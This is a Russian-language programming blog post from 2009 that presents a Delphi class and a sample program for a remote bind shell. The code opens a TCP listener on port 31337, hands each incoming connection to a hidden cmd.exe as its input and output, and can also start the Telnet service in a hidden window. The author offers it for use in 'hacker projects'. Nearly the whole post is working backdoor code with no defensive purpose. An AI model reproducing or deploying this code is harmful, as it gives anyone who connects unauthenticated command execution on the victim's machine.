DevProg: Блог для программистов

Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!

Archive for Май 2009

Класс для открытия шелла с перенаправлением I/O

Posted by devprog на Май 22, 2009

Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?

unit xnShellWorks;

interface
uses Windows;

const
  AF_INET     = 2;
  PF_INET     = AF_INET;
  SOCK_STREAM = 1;
  IPPROTO_TCP = 6;
  IPPROTO_PUP = 12;
  IPPROTO_UDP = 17;
  IPPROTO_IDP = 22;
  IPPROTO_ND  = 77;
  IPPROTO_RAW = 255;
  IPPROTO_MAX = 256;
  START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  null = nil;
  INVALID_SOCKET = not 0;

//==============================================================================
// Структуры начало
//==============================================================================
type
  S_UN_B = packed record
    s_b1 : BYTE;
    s_b2 : BYTE;
    s_b3 : BYTE;
    s_b4 : BYTE;
  end;

  S_UN_W = packed record
    s_w1 : WORD;
    s_w2 : WORD;
  end;

  T_ADDRESS_UNION = packed record
    S_un_b : S_UN_B;
    S_un_w : S_UN_W;
    S_addr : DWORD;
  end;

  T_WSA_DATA = packed record
    wVersion       :   Word;
    wHighVersion   :   Word;
    szDescription  :   array[0..256] of byte;
    szSystemStatus :   array[0..128] of byte;
    iMaxSockets    :   Word;
    iMaxUdpDg      :   Word;
    lpVendorInfo   :   Dword;
  end;

  Tin_addr = packed record
    S_un           :   T_ADDRESS_UNION;
  end;

  TSockAddr_In = packed record
    sin_family     :   Word;
    sin_port       :   Word;
    sin_addr       :   Tin_addr;
    sin_zero       :   array[0..13] of byte;
  end;
//==============================================================================
// Структуры конец
//==============================================================================

type
  xnShell = class (TObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure SetShellPort(PortNumber:SmallInt);
    procedure BindShell(SockHandle:DWORD);
    procedure ListenShell(SockHandle:DWORD);
    procedure StartTelnetService(Flag:boolean);
    function  AcceptShell(SockHandle:DWORD):DWORD;
    function  CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
    function  StartUp():DWORD;
  private
    FPort:WORD;
    FSocket:DWORD;
    WSAData:T_WSA_DATA;
    FSockAddIn:TSockAddr_In;
    st_info:TStartupInfo;
    pt_info:TProcessInformation;

end;

//==============================================================================

function  WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function  htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function  accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;

{==============================================================================}
implementation

{ xnShell }

//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
  inherited Create;
  FPort:=0;
end;

//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
  ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
  ZeroMemory(@FSockAddin,SizeOf(WSAData));
  inherited Destroy;
end;

{——————————————————————————-
  Procedure: xnShell.SetShellPort
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: PortNumber: SmallInt — номер открываемого порта
  Result:    None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
  FPort:=PortNumber;
end;

{——————————————————————————-
  Procedure: xnShell.StartUp
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: None
  Result:    DWORD — хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
 begin
  WSAStartup($0202,@WSAData);  // Activate ws2_32.dll
  FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  FSockAddIn.sin_family:=AF_INET;
  FSockAddIn.sin_port:=htons(FPort);
  result:=FSocket;
 end
else
 begin
 Result:=$0;
 end;
end;

{——————————————————————————-
  Procedure: xnShell.BindShell
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD  — хендл сокета для бинда (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;

{——————————————————————————-
  Procedure: xnShell.ListenShell
  Author:    robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD — хендл сокета для listen (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
  listen(SockHandle,0);
end;

{——————————————————————————-
  Procedure: xnShell.AcceptShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: SockHandle: DWORD
  Result:    DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
  result:=accept(SockHandle,NULL,0);
end;

{——————————————————————————-
  Procedure: xnShell.CreateShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: ShellName: string;OutHandle:DWORD
  Result:    BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 st_info.hStdError  := OutHandle;
 st_info.hStdOutput := OutHandle;
 st_info.hStdInput  := OutHandle;
 reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
 CloseHandle(OutHandle);
 CloseHandle(pt_info.hThread);
 CloseHandle(pt_info.hProcess);
 if reslt <> false then result:=false else Result := true;
end;

{——————————————————————————-
  Procedure: xnShell.StartTelnetService
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: None
  Result:    None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 if Flag = True then
 CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
 else
 CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;

end.

А вот как это дело можно юзать в своих хеккерских проектах:

program shellset;

uses xnShellWorks;
type
 DWORD = Cardinal;
var
  Shell:xnShell;
  handle:DWORD;
  SHandle:DWORD;
begin
  Shell:=xnShell.Create;
  Shell.SetShellPort(31337);
  handle:=Shell.StartUp;
  Shell.BindShell(handle);
  Shell.ListenShell(handle);
  while true do
   begin
    sHandle := Shell.AcceptShell(handle);
    if SHandle <> INVALID_SOCKET then
     begin
      Shell.CreateShell(‘cmd.exe’,sHandle);
     end;
    end;
end.

 

 Подписаться на посты через RSS
 Подписаться на комментарии через RSS

 

Posted in Delphi | 6 комментариев »